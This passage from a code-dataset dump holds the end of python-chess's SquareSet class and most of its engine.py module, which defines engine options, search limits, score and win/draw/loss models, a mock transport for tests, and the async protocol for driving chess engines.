rank, file or diagonal between the two squares (bounds not included), if they are aligned. >>> import chess >>> >>> print(chess.SquareSet.between(chess.E2, chess.B5)) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . """ return cls(between(a, b)) @classmethod def from_square(cls, square: Square) -> SquareSet: """ Creates a :class:`~chess.SquareSet` from a single square. >>> import chess >>> >>> chess.SquareSet.from_square(chess.A1) == chess.BB_A1 True """ return cls(BB_SQUARES[square])
150,941
Python
.py
3,488
33.469037
188
0.582207
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,421
engine.py
niklasf_python-chess/chess/engine.py
from __future__ import annotations import abc import asyncio import collections import concurrent.futures import contextlib import copy import dataclasses import enum import logging import math import shlex import subprocess import sys import threading import time import typing import re import chess from chess import Color from types import TracebackType from typing import Any, Callable, Coroutine, Deque, Dict, Generator, Generic, Iterable, Iterator, List, Literal, Mapping, MutableMapping, Optional, Tuple, Type, TypedDict, TypeVar, Union if typing.TYPE_CHECKING: from typing_extensions import override else: F = typing.TypeVar("F", bound=Callable[..., Any]) def override(fn: F, /) -> F: return fn if typing.TYPE_CHECKING: from typing_extensions import Self WdlModel = Literal["sf", "sf16.1", "sf16", "sf15.1", "sf15", "sf14", "sf12", "lichess"] T = TypeVar("T") ProtocolT = TypeVar("ProtocolT", bound="Protocol") ConfigValue = Union[str, int, bool, None] ConfigMapping = Mapping[str, ConfigValue] LOGGER = logging.getLogger(__name__) MANAGED_OPTIONS = ["uci_chess960", "uci_variant", "multipv", "ponder"] # No longer needed, but alias kept around for compatibility. EventLoopPolicy = asyncio.DefaultEventLoopPolicy def run_in_background(coroutine: Callable[[concurrent.futures.Future[T]], Coroutine[Any, Any, None]], *, name: Optional[str] = None, debug: Optional[bool] = None) -> T: """ Runs ``coroutine(future)`` in a new event loop on a background thread. Blocks on *future* and returns the result as soon as it is resolved. The coroutine and all remaining tasks continue running in the background until complete. """ assert asyncio.iscoroutinefunction(coroutine) future: concurrent.futures.Future[T] = concurrent.futures.Future() def background() -> None: try: asyncio.run(coroutine(future), debug=debug) future.cancel() except Exception as exc: future.set_exception(exc) threading.Thread(target=background, name=name).start() return future.result() class EngineError(RuntimeError): """Runtime error caused by a misbehaving engine or incorrect usage.""" class EngineTerminatedError(EngineError): """The engine process exited unexpectedly.""" class AnalysisComplete(Exception): """ Raised when analysis is complete, all information has been consumed, but further information was requested. """ @dataclasses.dataclass(frozen=True) class Option: """Information about an available engine option.""" name: str """The name of the option.""" type: str """ The type of the option. +--------+-----+------+------------------------------------------------+ | type | UCI | CECP | value | +========+=====+======+================================================+ | check | X | X | ``True`` or ``False`` | +--------+-----+------+------------------------------------------------+ | spin | X | X | integer, between *min* and *max* | +--------+-----+------+------------------------------------------------+ | combo | X | X | string, one of *var* | +--------+-----+------+------------------------------------------------+ | button | X | X | ``None`` | +--------+-----+------+------------------------------------------------+ | reset | | X | ``None`` | +--------+-----+------+------------------------------------------------+ | save | | X | ``None`` | +--------+-----+------+------------------------------------------------+ | string | X | X | string without line breaks | +--------+-----+------+------------------------------------------------+ | file | | X | string, interpreted as the path to a file | +--------+-----+------+------------------------------------------------+ | path | | X | string, interpreted as the path to a directory | +--------+-----+------+------------------------------------------------+ """ default: ConfigValue """The default value of the option.""" min: Optional[int] """The minimum integer value of a *spin* option.""" max: Optional[int] """The maximum integer value of a *spin* option.""" var: Optional[List[str]] """A list of allowed string values for a *combo* option.""" def parse(self, value: ConfigValue) -> ConfigValue: if self.type == "check": return value and value != "false" elif self.type == "spin": try: value = int(value) # type: ignore except ValueError: raise EngineError(f"expected integer for spin option {self.name!r}, got: {value!r}") if self.min is not None and value < self.min: raise EngineError(f"expected value for option {self.name!r} to be at least {self.min}, got: {value}") if self.max is not None and self.max < value: raise EngineError(f"expected value for option {self.name!r} to be at most {self.max}, got: {value}") return value elif self.type == "combo": value = str(value) if value not in (self.var or []): raise EngineError("invalid value for combo option {!r}, got: {} (available: {})".format(self.name, value, ", ".join(self.var) if self.var else "-")) return value elif self.type in ["button", "reset", "save"]: return None elif self.type in ["string", "file", "path"]: value = str(value) if "\n" in value or "\r" in value: raise EngineError(f"invalid line-break in string option {self.name!r}: {value!r}") return value else: raise EngineError(f"unknown option type: {self.type!r}") def is_managed(self) -> bool: """ Some options are managed automatically: ``UCI_Chess960``, ``UCI_Variant``, ``MultiPV``, ``Ponder``. """ return self.name.lower() in MANAGED_OPTIONS @dataclasses.dataclass class Limit: """Search-termination condition.""" time: Optional[float] = None """Search exactly *time* seconds.""" depth: Optional[int] = None """Search *depth* ply only.""" nodes: Optional[int] = None """Search only a limited number of *nodes*.""" mate: Optional[int] = None """Search for a mate in *mate* moves.""" white_clock: Optional[float] = None """Time in seconds remaining for White.""" black_clock: Optional[float] = None """Time in seconds remaining for Black.""" white_inc: Optional[float] = None """Fisher increment for White, in seconds.""" black_inc: Optional[float] = None """Fisher increment for Black, in seconds.""" remaining_moves: Optional[int] = None """ Number of moves to the next time control. If this is not set, but *white_clock* and *black_clock* are, then it is sudden death. """ clock_id: object = None """ An identifier to use with XBoard engines to signal that the time control has changed. When this field changes, Xboard engines are sent level or st commands as appropriate. Otherwise, only time and otim commands are sent to update the engine's clock. """ def __repr__(self) -> str: # Like default __repr__, but without None values. return "{}({})".format( type(self).__name__, ", ".join("{}={!r}".format(attr, getattr(self, attr)) for attr in ["time", "depth", "nodes", "mate", "white_clock", "black_clock", "white_inc", "black_inc", "remaining_moves"] if getattr(self, attr) is not None)) class InfoDict(TypedDict, total=False): """ Dictionary of aggregated information sent by the engine. Commonly used keys are: ``score`` (a :class:`~chess.engine.PovScore`), ``pv`` (a list of :class:`~chess.Move` objects), ``depth``, ``seldepth``, ``time`` (in seconds), ``nodes``, ``nps``, ``multipv`` (``1`` for the mainline). Others: ``tbhits``, ``currmove``, ``currmovenumber``, ``hashfull``, ``cpuload``, ``refutation``, ``currline``, ``ebf`` (effective branching factor), ``wdl`` (a :class:`~chess.engine.PovWdl`), and ``string``. """ score: PovScore pv: List[chess.Move] depth: int seldepth: int time: float nodes: int nps: int tbhits: int multipv: int currmove: chess.Move currmovenumber: int hashfull: int cpuload: int refutation: Dict[chess.Move, List[chess.Move]] currline: Dict[int, List[chess.Move]] ebf: float wdl: PovWdl string: str class PlayResult: """Returned by :func:`chess.engine.Protocol.play()`.""" move: Optional[chess.Move] """The best move according to the engine, or ``None``.""" ponder: Optional[chess.Move] """The response that the engine expects after *move*, or ``None``.""" info: InfoDict """ A dictionary of extra :class:`information <chess.engine.InfoDict>` sent by the engine, if selected with the *info* argument of :func:`~chess.engine.Protocol.play()`. """ draw_offered: bool """Whether the engine offered a draw before moving.""" resigned: bool """Whether the engine resigned.""" def __init__(self, move: Optional[chess.Move], ponder: Optional[chess.Move], info: Optional[InfoDict] = None, *, draw_offered: bool = False, resigned: bool = False) -> None: self.move = move self.ponder = ponder self.info = info or {} self.draw_offered = draw_offered self.resigned = resigned def __repr__(self) -> str: return "<{} at {:#x} (move={}, ponder={}, info={}, draw_offered={}, resigned={})>".format( type(self).__name__, id(self), self.move, self.ponder, self.info, self.draw_offered, self.resigned) class Info(enum.IntFlag): """Used to filter information sent by the chess engine.""" NONE = 0 BASIC = 1 SCORE = 2 PV = 4 REFUTATION = 8 CURRLINE = 16 ALL = BASIC | SCORE | PV | REFUTATION | CURRLINE INFO_NONE = Info.NONE INFO_BASIC = Info.BASIC INFO_SCORE = Info.SCORE INFO_PV = Info.PV INFO_REFUTATION = Info.REFUTATION INFO_CURRLINE = Info.CURRLINE INFO_ALL = Info.ALL @dataclasses.dataclass class Opponent: """Used to store information about an engine's opponent.""" name: Optional[str] """The name of the opponent.""" title: Optional[str] """The opponent's title--for example, GM, IM, or BOT.""" rating: Optional[int] """The opponent's ELO rating.""" is_engine: Optional[bool] """Whether the opponent is a chess engine/computer program.""" class PovScore: """A relative :class:`~chess.engine.Score` and the point of view.""" relative: Score """The relative :class:`~chess.engine.Score`.""" turn: Color """The point of view (``chess.WHITE`` or ``chess.BLACK``).""" def __init__(self, relative: Score, turn: Color) -> None: self.relative = relative self.turn = turn def white(self) -> Score: """Gets the score from White's point of view.""" return self.pov(chess.WHITE) def black(self) -> Score: """Gets the score from Black's point of view.""" return self.pov(chess.BLACK) def pov(self, color: Color) -> Score: """Gets the score from the point of view of the given *color*.""" return self.relative if self.turn == color else -self.relative def is_mate(self) -> bool: """Tests if this is a mate score.""" return self.relative.is_mate() def wdl(self, *, model: WdlModel = "sf", ply: int = 30) -> PovWdl: """See :func:`~chess.engine.Score.wdl()`.""" return PovWdl(self.relative.wdl(model=model, ply=ply), self.turn) def __repr__(self) -> str: return "PovScore({!r}, {})".format(self.relative, "WHITE" if self.turn else "BLACK") def __eq__(self, other: object) -> bool: if isinstance(other, PovScore): return self.white() == other.white() else: return NotImplemented class Score(abc.ABC): """ Evaluation of a position. The score can be :class:`~chess.engine.Cp` (centi-pawns), :class:`~chess.engine.Mate` or :py:data:`~chess.engine.MateGiven`. A positive value indicates an advantage. There is a total order defined on centi-pawn and mate scores. >>> from chess.engine import Cp, Mate, MateGiven >>> >>> Mate(-0) < Mate(-1) < Cp(-50) < Cp(200) < Mate(4) < Mate(1) < MateGiven True Scores can be negated to change the point of view: >>> -Cp(20) Cp(-20) >>> -Mate(-4) Mate(+4) >>> -Mate(0) MateGiven """ @typing.overload @abc.abstractmethod def score(self, *, mate_score: int) -> int: ... @typing.overload @abc.abstractmethod def score(self, *, mate_score: Optional[int] = None) -> Optional[int]: ... @abc.abstractmethod def score(self, *, mate_score: Optional[int] = None) -> Optional[int]: """ Returns the centi-pawn score as an integer or ``None``. You can optionally pass a large value to convert mate scores to centi-pawn scores. >>> Cp(-300).score() -300 >>> Mate(5).score() is None True >>> Mate(5).score(mate_score=100000) 99995 """ @abc.abstractmethod def mate(self) -> Optional[int]: """ Returns the number of plies to mate, negative if we are getting mated, or ``None``. .. warning:: This conflates ``Mate(0)`` (we lost) and ``MateGiven`` (we won) to ``0``. """ def is_mate(self) -> bool: """Tests if this is a mate score.""" return self.mate() is not None @abc.abstractmethod def wdl(self, *, model: WdlModel = "sf", ply: int = 30) -> Wdl: """ Returns statistics for the expected outcome of this game, based on a *model*, given that this score is reached at *ply*. Scores have a total order, but it makes little sense to compute the difference between two scores. For example, going from ``Cp(-100)`` to ``Cp(+100)`` is much more significant than going from ``Cp(+300)`` to ``Cp(+500)``. It is better to compute differences of the expectation values for the outcome of the game (based on winning chances and drawing chances). >>> Cp(100).wdl().expectation() - Cp(-100).wdl().expectation() # doctest: +ELLIPSIS 0.379... >>> Cp(500).wdl().expectation() - Cp(300).wdl().expectation() # doctest: +ELLIPSIS 0.015... :param model: * ``sf``, the WDL model used by the latest Stockfish (currently ``sf16``). * ``sf16``, the WDL model used by Stockfish 16. * ``sf15.1``, the WDL model used by Stockfish 15.1. * ``sf15``, the WDL model used by Stockfish 15. * ``sf14``, the WDL model used by Stockfish 14. * ``sf12``, the WDL model used by Stockfish 12. * ``lichess``, the win rate model used by Lichess. Does not use *ply*, and does not consider drawing chances. :param ply: The number of half-moves played since the starting position. Models may scale scores slightly differently based on this. Defaults to middle game. """ @abc.abstractmethod def __neg__(self) -> Score: ... @abc.abstractmethod def __pos__(self) -> Score: ... @abc.abstractmethod def __abs__(self) -> Score: ... def _score_tuple(self) -> Tuple[bool, bool, bool, int, Optional[int]]: mate = self.mate() return ( isinstance(self, MateGivenType), mate is not None and mate > 0, mate is None, -(mate or 0), self.score(), ) def __eq__(self, other: object) -> bool: if isinstance(other, Score): return self._score_tuple() == other._score_tuple() else: return NotImplemented def __lt__(self, other: object) -> bool: if isinstance(other, Score): return self._score_tuple() < other._score_tuple() else: return NotImplemented def __le__(self, other: object) -> bool: if isinstance(other, Score): return self._score_tuple() <= other._score_tuple() else: return NotImplemented def __gt__(self, other: object) -> bool: if isinstance(other, Score): return self._score_tuple() > other._score_tuple() else: return NotImplemented def __ge__(self, other: object) -> bool: if isinstance(other, Score): return self._score_tuple() >= other._score_tuple() else: return NotImplemented def _sf16_1_wins(cp: int, *, ply: int) -> int: # https://github.com/official-stockfish/Stockfish/blob/sf_16.1/src/uci.cpp#L48 NormalizeToPawnValue = 356 # https://github.com/official-stockfish/Stockfish/blob/sf_16.1/src/uci.cpp#L383-L384 m = min(120, max(8, ply / 2 + 1)) / 32 a = (((-1.06249702 * m + 7.42016937) * m + 0.89425629) * m) + 348.60356174 b = (((-5.33122190 * m + 39.57831533) * m + -90.84473771) * m) + 123.40620748 x = min(4000, max(cp * NormalizeToPawnValue / 100, -4000)) return int(0.5 + 1000 / (1 + math.exp((a - x) / b))) def _sf16_wins(cp: int, *, ply: int) -> int: # https://github.com/official-stockfish/Stockfish/blob/sf_16/src/uci.h#L38 NormalizeToPawnValue = 328 # https://github.com/official-stockfish/Stockfish/blob/sf_16/src/uci.cpp#L200-L224 m = min(240, max(ply, 0)) / 64 a = (((0.38036525 * m + -2.82015070) * m + 23.17882135) * m) + 307.36768407 b = (((-2.29434733 * m + 13.27689788) * m + -14.26828904) * m) + 63.45318330 x = min(4000, max(cp * NormalizeToPawnValue / 100, -4000)) return int(0.5 + 1000 / (1 + math.exp((a - x) / b))) def _sf15_1_wins(cp: int, *, ply: int) -> int: # https://github.com/official-stockfish/Stockfish/blob/sf_15.1/src/uci.h#L38 NormalizeToPawnValue = 361 # https://github.com/official-stockfish/Stockfish/blob/sf_15.1/src/uci.cpp#L200-L224 m = min(240, max(ply, 0)) / 64 a = (((-0.58270499 * m + 2.68512549) * m + 15.24638015) * m) + 344.49745382 b = (((-2.65734562 * m + 15.96509799) * m + -20.69040836) * m) + 73.61029937 x = min(4000, max(cp * NormalizeToPawnValue / 100, -4000)) return int(0.5 + 1000 / (1 + math.exp((a - x) / b))) def _sf15_wins(cp: int, *, ply: int) -> int: # https://github.com/official-stockfish/Stockfish/blob/sf_15/src/uci.cpp#L200-L220 m = min(240, max(ply, 0)) / 64 a = (((-1.17202460e-1 * m + 5.94729104e-1) * m + 1.12065546e+1) * m) + 1.22606222e+2 b = (((-1.79066759 * m + 11.30759193) * m + -17.43677612) * m) + 36.47147479 x = min(2000, max(cp, -2000)) return int(0.5 + 1000 / (1 + math.exp((a - x) / b))) def _sf14_wins(cp: int, *, ply: int) -> int: # https://github.com/official-stockfish/Stockfish/blob/sf_14/src/uci.cpp#L200-L220 m = min(240, max(ply, 0)) / 64 a = (((-3.68389304 * m + 30.07065921) * m + -60.52878723) * m) + 149.53378557 b = (((-2.01818570 * m + 15.85685038) * m + -29.83452023) * m) + 47.59078827 x = min(2000, max(cp, -2000)) return int(0.5 + 1000 / (1 + math.exp((a - x) / b))) def _sf12_wins(cp: int, *, ply: int) -> int: # https://github.com/official-stockfish/Stockfish/blob/sf_12/src/uci.cpp#L198-L218 m = min(240, max(ply, 0)) / 64 a = (((-8.24404295 * m + 64.23892342) * m + -95.73056462) * m) + 153.86478679 b = (((-3.37154371 * m + 28.44489198) * m + -56.67657741) * m) + 72.05858751 x = min(1000, max(cp, -1000)) return int(0.5 + 1000 / (1 + math.exp((a - x) / b))) def _lichess_raw_wins(cp: int) -> int: # https://github.com/lichess-org/lila/pull/11148 # https://github.com/lichess-org/lila/blob/2242b0a08faa06e7be5508d338ede7bb09049777/modules/analyse/src/main/WinPercent.scala#L26-L30 return round(1000 / (1 + math.exp(-0.00368208 * cp))) class Cp(Score): """Centi-pawn score.""" def __init__(self, cp: int) -> None: self.cp = cp def mate(self) -> None: return None def score(self, *, mate_score: Optional[int] = None) -> int: return self.cp def wdl(self, *, model: WdlModel = "sf", ply: int = 30) -> Wdl: if model == "lichess": wins = _lichess_raw_wins(max(-1000, min(self.cp, 1000))) losses = 1000 - wins elif model == "sf12": wins = _sf12_wins(self.cp, ply=ply) losses = _sf12_wins(-self.cp, ply=ply) elif model == "sf14": wins = _sf14_wins(self.cp, ply=ply) losses = _sf14_wins(-self.cp, ply=ply) elif model == "sf15": wins = _sf15_wins(self.cp, ply=ply) losses = _sf15_wins(-self.cp, ply=ply) elif model == "sf15.1": wins = _sf15_1_wins(self.cp, ply=ply) losses = _sf15_1_wins(-self.cp, ply=ply) elif model == "sf16": wins = _sf16_wins(self.cp, ply=ply) losses = _sf16_wins(-self.cp, ply=ply) else: wins = _sf16_1_wins(self.cp, ply=ply) losses = _sf16_1_wins(-self.cp, ply=ply) draws = 1000 - wins - losses return Wdl(wins, draws, losses) def __str__(self) -> str: return f"+{self.cp:d}" if self.cp > 0 else str(self.cp) def __repr__(self) -> str: return f"Cp({self})" def __neg__(self) -> Cp: return Cp(-self.cp) def __pos__(self) -> Cp: return Cp(self.cp) def __abs__(self) -> Cp: return Cp(abs(self.cp)) class Mate(Score): """Mate score.""" def __init__(self, moves: int) -> None: self.moves = moves def mate(self) -> int: return self.moves @typing.overload def score(self, *, mate_score: int) -> int: ... @typing.overload def score(self, *, mate_score: Optional[int] = None) -> Optional[int]: ... def score(self, *, mate_score: Optional[int] = None) -> Optional[int]: if mate_score is None: return None elif self.moves > 0: return mate_score - self.moves else: return -mate_score - self.moves def wdl(self, *, model: WdlModel = "sf", ply: int = 30) -> Wdl: if model == "lichess": cp = (21 - min(10, abs(self.moves))) * 100 wins = _lichess_raw_wins(cp) return Wdl(wins, 0, 1000 - wins) if self.moves > 0 else Wdl(1000 - wins, 0, wins) else: return Wdl(1000, 0, 0) if self.moves > 0 else Wdl(0, 0, 1000) def __str__(self) -> str: return f"#+{self.moves}" if self.moves > 0 else f"#-{abs(self.moves)}" def __repr__(self) -> str: return "Mate({})".format(str(self).lstrip("#")) def __neg__(self) -> Union[MateGivenType, Mate]: return MateGiven if not self.moves else Mate(-self.moves) def __pos__(self) -> Mate: return Mate(self.moves) def __abs__(self) -> Union[MateGivenType, Mate]: return MateGiven if not self.moves else Mate(abs(self.moves)) class MateGivenType(Score): """Winning mate score, equivalent to ``-Mate(0)``.""" def mate(self) -> int: return 0 @typing.overload def score(self, *, mate_score: int) -> int: ... @typing.overload def score(self, *, mate_score: Optional[int] = None) -> Optional[int]: ... def score(self, *, mate_score: Optional[int] = None) -> Optional[int]: return mate_score def wdl(self, *, model: WdlModel = "sf", ply: int = 30) -> Wdl: return Wdl(1000, 0, 0) def __neg__(self) -> Mate: return Mate(0) def __pos__(self) -> MateGivenType: return self def __abs__(self) -> MateGivenType: return self def __repr__(self) -> str: return "MateGiven" def __str__(self) -> str: return "#+0" MateGiven = MateGivenType() @dataclasses.dataclass class PovWdl: """ Relative :class:`win/draw/loss statistics <chess.engine.Wdl>` and the point of view. """ relative: Wdl """The relative :class:`~chess.engine.Wdl`.""" turn: Color """The point of view (``chess.WHITE`` or ``chess.BLACK``).""" def white(self) -> Wdl: """Gets the :class:`~chess.engine.Wdl` from White's point of view.""" return self.pov(chess.WHITE) def black(self) -> Wdl: """Gets the :class:`~chess.engine.Wdl` from Black's point of view.""" return self.pov(chess.BLACK) def pov(self, color: Color) -> Wdl: """ Gets the :class:`~chess.engine.Wdl` from the point of view of the given *color*. """ return self.relative if self.turn == color else -self.relative def __bool__(self) -> bool: return bool(self.relative) def __repr__(self) -> str: return "PovWdl({!r}, {})".format(self.relative, "WHITE" if self.turn else "BLACK") @dataclasses.dataclass class Wdl: """Win/draw/loss statistics.""" wins: int """The number of wins.""" draws: int """The number of draws.""" losses: int """The number of losses.""" def total(self) -> int: """ Returns the total number of games. Usually, ``wdl`` reported by engines is scaled to 1000 games. """ return self.wins + self.draws + self.losses def winning_chance(self) -> float: """Returns the relative frequency of wins.""" return self.wins / self.total() def drawing_chance(self) -> float: """Returns the relative frequency of draws.""" return self.draws / self.total() def losing_chance(self) -> float: """Returns the relative frequency of losses.""" return self.losses / self.total() def expectation(self) -> float: """ Returns the expectation value, where a win is valued 1, a draw is valued 0.5, and a loss is valued 0. """ return (self.wins + 0.5 * self.draws) / self.total() def __bool__(self) -> bool: return bool(self.total()) def __pos__(self) -> Wdl: return self def __neg__(self) -> Wdl: return Wdl(self.losses, self.draws, self.wins) class MockTransport(asyncio.SubprocessTransport, asyncio.WriteTransport): def __init__(self, protocol: Protocol) -> None: super().__init__() self.protocol = protocol self.expectations: Deque[Tuple[str, List[str]]] = collections.deque() self.expected_pings = 0 self.stdin_buffer = bytearray() self.protocol.connection_made(self) def expect(self, expectation: str, responses: List[str] = []) -> None: self.expectations.append((expectation, responses)) def expect_ping(self) -> None: self.expected_pings += 1 def assert_done(self) -> None: assert not self.expectations, f"pending expectations: {self.expectations}" def get_pipe_transport(self, fd: int) -> Optional[asyncio.BaseTransport]: assert fd == 0, f"expected 0 for stdin, got {fd}" return self def write(self, data: bytes | bytearray | memoryview) -> None: self.stdin_buffer.extend(data) while b"\n" in self.stdin_buffer: line_bytes, self.stdin_buffer = self.stdin_buffer.split(b"\n", 1) line = line_bytes.decode("utf-8") if line.startswith("ping ") and self.expected_pings: self.expected_pings -= 1 self.protocol.pipe_data_received(1, (line.replace("ping ", "pong ") + "\n").encode("utf-8")) else: assert self.expectations, f"unexpected: {line!r}" expectation, responses = self.expectations.popleft() assert expectation == line, f"expected {expectation}, got: {line}" if responses: self.protocol.loop.call_soon(self.protocol.pipe_data_received, 1, "\n".join(responses + [""]).encode("utf-8")) def get_pid(self) -> int: return id(self) def get_returncode(self) -> Optional[int]: return None if self.expectations else 0 class Protocol(asyncio.SubprocessProtocol, metaclass=abc.ABCMeta): """Protocol for communicating with a chess engine process.""" id: Dict[str, str] """ Dictionary of information about the engine. Common keys are ``name`` and ``author``. """ returncode: asyncio.Future[int] """Future: Exit code of the process.""" def __init__(self) -> None: self.loop = asyncio.get_running_loop() self.transport: Optional[asyncio.SubprocessTransport] = None self.buffer = { 1: bytearray(), # stdout 2: bytearray(), # stderr } self.command: Optional[BaseCommand[Any]] = None self.next_command: Optional[BaseCommand[Any]] = None self.initialized = False self.returncode: asyncio.Future[int] = asyncio.Future() def connection_made(self, transport: asyncio.BaseTransport) -> None: # SubprocessTransport expected, but not checked to allow duck typing. self.transport = transport # type: ignore LOGGER.debug("%s: Connection made", self) def connection_lost(self, exc: Optional[Exception]) -> None: assert self.transport is not None code = self.transport.get_returncode() assert code is not None, "connect lost, but got no returncode" LOGGER.debug("%s: Connection lost (exit code: %d, error: %s)", self, code, exc) # Terminate commands. command, self.command = self.command, None next_command, self.next_command = self.next_command, None if command: command._engine_terminated(code) if next_command: next_command._engine_terminated(code) self.returncode.set_result(code) def process_exited(self) -> None: LOGGER.debug("%s: Process exited", self) def send_line(self, line: str) -> None: LOGGER.debug("%s: << %s", self, line) assert self.transport is not None, "cannot send line before connection is made" stdin = self.transport.get_pipe_transport(0) # WriteTransport expected, but not checked to allow duck typing. stdin.write((line + "\n").encode("utf-8")) # type: ignore def pipe_data_received(self, fd: int, data: Union[bytes, str]) -> None: self.buffer[fd].extend(data) # type: ignore while b"\n" in self.buffer[fd]: line_bytes, self.buffer[fd] = self.buffer[fd].split(b"\n", 1) if line_bytes.endswith(b"\r"): line_bytes = line_bytes[:-1] try: line = line_bytes.decode("utf-8") except UnicodeDecodeError as err: LOGGER.warning("%s: >> %r (%s)", self, bytes(line_bytes), err) else: if fd == 1: self._line_received(line) else: self.error_line_received(line) def error_line_received(self, line: str) -> None: LOGGER.warning("%s: stderr >> %s", self, line) def _line_received(self, line: str) -> None: LOGGER.debug("%s: >> %s", self, line) self.line_received(line) if self.command: self.command._line_received(line) def line_received(self, line: str) -> None: pass async def communicate(self, command_factory: Callable[[Self], BaseCommand[T]]) -> T: command = command_factory(self) if self.returncode.done(): raise EngineTerminatedError(f"engine process dead (exit code: {self.returncode.result()})") assert command.state == CommandState.NEW, command.state if self.next_command is not None: self.next_command.result.cancel() self.next_command.finished.cancel() self.next_command.set_finished() self.next_command = command def previous_command_finished() -> None: self.command, self.next_command = self.next_command, None if self.command is not None: cmd = self.command def cancel_if_cancelled(result: asyncio.Future[T]) -> None: if result.cancelled(): cmd._cancel() cmd.result.add_done_callback(cancel_if_cancelled) cmd._start() cmd.add_finished_callback(previous_command_finished) if self.command is None: previous_command_finished() elif not self.command.result.done(): self.command.result.cancel() elif not self.command.result.cancelled(): self.command._cancel() return await command.result def __repr__(self) -> str: pid = self.transport.get_pid() if self.transport is not None else "?" return f"<{type(self).__name__} (pid={pid})>" @property @abc.abstractmethod def options(self) -> MutableMapping[str, Option]: """Dictionary of available options.""" @abc.abstractmethod async def initialize(self) -> None: """Initializes the engine.""" @abc.abstractmethod async def ping(self) -> None: """ Pings the engine and waits for a response. Used to ensure the engine is still alive and idle. """ @abc.abstractmethod async def configure(self, options: ConfigMapping) -> None: """ Configures global engine options. :param options: A dictionary of engine options where the keys are names of :data:`~chess.engine.Protocol.options`. Do not set options that are managed automatically (:func:`chess.engine.Option.is_managed()`). """ @abc.abstractmethod async def send_opponent_information(self, *, opponent: Optional[Opponent] = None, engine_rating: Optional[int] = None) -> None: """ Sends the engine information about its opponent. The information will be sent after a new game is announced and before the first move. This method should be called before the first move of a game--i.e., the first call to :func:`chess.engine.Protocol.play()`. :param opponent: Optional. An instance of :class:`chess.engine.Opponent` that has the opponent's information. :param engine_rating: Optional. This engine's own rating. Only used by XBoard engines. """ @abc.abstractmethod async def play(self, board: chess.Board, limit: Limit, *, game: object = None, info: Info = INFO_NONE, ponder: bool = False, draw_offered: bool = False, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}, opponent: Optional[Opponent] = None) -> PlayResult: """ Plays a position. :param board: The position. The entire move stack will be sent to the engine. :param limit: An instance of :class:`chess.engine.Limit` that determines when to stop thinking. :param game: Optional. An arbitrary object that identifies the game. Will automatically inform the engine if the object is not equal to the previous game (e.g., ``ucinewgame``, ``new``). :param info: Selects which additional information to retrieve from the engine. ``INFO_NONE``, ``INFO_BASIC`` (basic information that is trivial to obtain), ``INFO_SCORE``, ``INFO_PV``, ``INFO_REFUTATION``, ``INFO_CURRLINE``, ``INFO_ALL`` or any bitwise combination. Some overhead is associated with parsing extra information. :param ponder: Whether the engine should keep analysing in the background even after the result has been returned. :param draw_offered: Whether the engine's opponent has offered a draw. Ignored by UCI engines. :param root_moves: Optional. Consider only root moves from this list. :param options: Optional. A dictionary of engine options for the analysis. The previous configuration will be restored after the analysis is complete. You can permanently apply a configuration with :func:`~chess.engine.Protocol.configure()`. :param opponent: Optional. Information about a new opponent. Information about the original opponent will be restored once the move is complete. New opponent information can be made permanent with :func:`~chess.engine.Protocol.send_opponent_information()`. """ @typing.overload async def analyse(self, board: chess.Board, limit: Limit, *, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> InfoDict: ... @typing.overload async def analyse(self, board: chess.Board, limit: Limit, *, multipv: int, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> List[InfoDict]: ... @typing.overload async def analyse(self, board: chess.Board, limit: Limit, *, multipv: Optional[int] = None, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> Union[List[InfoDict], InfoDict]: ... async def analyse(self, board: chess.Board, limit: Limit, *, multipv: Optional[int] = None, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> Union[List[InfoDict], InfoDict]: """ Analyses a position and returns a dictionary of :class:`information <chess.engine.InfoDict>`. :param board: The position to analyse. The entire move stack will be sent to the engine. :param limit: An instance of :class:`chess.engine.Limit` that determines when to stop the analysis. :param multipv: Optional. Analyse multiple root moves. Will return a list of at most *multipv* dictionaries rather than just a single info dictionary. :param game: Optional. An arbitrary object that identifies the game. Will automatically inform the engine if the object is not equal to the previous game (e.g., ``ucinewgame``, ``new``). :param info: Selects which information to retrieve from the engine. ``INFO_NONE``, ``INFO_BASIC`` (basic information that is trivial to obtain), ``INFO_SCORE``, ``INFO_PV``, ``INFO_REFUTATION``, ``INFO_CURRLINE``, ``INFO_ALL`` or any bitwise combination. Some overhead is associated with parsing extra information. :param root_moves: Optional. Limit analysis to a list of root moves. :param options: Optional. A dictionary of engine options for the analysis. The previous configuration will be restored after the analysis is complete. You can permanently apply a configuration with :func:`~chess.engine.Protocol.configure()`. """ analysis = await self.analysis(board, limit, multipv=multipv, game=game, info=info, root_moves=root_moves, options=options) with analysis: await analysis.wait() return analysis.info if multipv is None else analysis.multipv @abc.abstractmethod async def analysis(self, board: chess.Board, limit: Optional[Limit] = None, *, multipv: Optional[int] = None, game: object = None, info: Info = INFO_ALL, root_moves: Optional[Iterable[chess.Move]] = None, options: ConfigMapping = {}) -> AnalysisResult: """ Starts analysing a position. :param board: The position to analyse. The entire move stack will be sent to the engine. :param limit: Optional. An instance of :class:`chess.engine.Limit` that determines when to stop the analysis. Analysis is infinite by default. :param multipv: Optional. Analyse multiple root moves. :param game: Optional. An arbitrary object that identifies the game. Will automatically inform the engine if the object is not equal to the previous game (e.g., ``ucinewgame``, ``new``). :param info: Selects which information to retrieve from the engine. ``INFO_NONE``, ``INFO_BASIC`` (basic information that is trivial to obtain), ``INFO_SCORE``, ``INFO_PV``, ``INFO_REFUTATION``, ``INFO_CURRLINE``, ``INFO_ALL`` or any bitwise combination. Some overhead is associated with parsing extra information. :param root_moves: Optional. Limit analysis to a list of root moves. :param options: Optional. A dictionary of engine options for the analysis. The previous configuration will be restored after the analysis is complete. You can permanently apply a configuration with :func:`~chess.engine.Protocol.configure()`. Returns :class:`~chess.engine.AnalysisResult`, a handle that allows asynchronously iterating over the information sent by the engine and stopping the analysis at any time. """ @abc.abstractmethod async def send_game_result(self, board: chess.Board, winner: 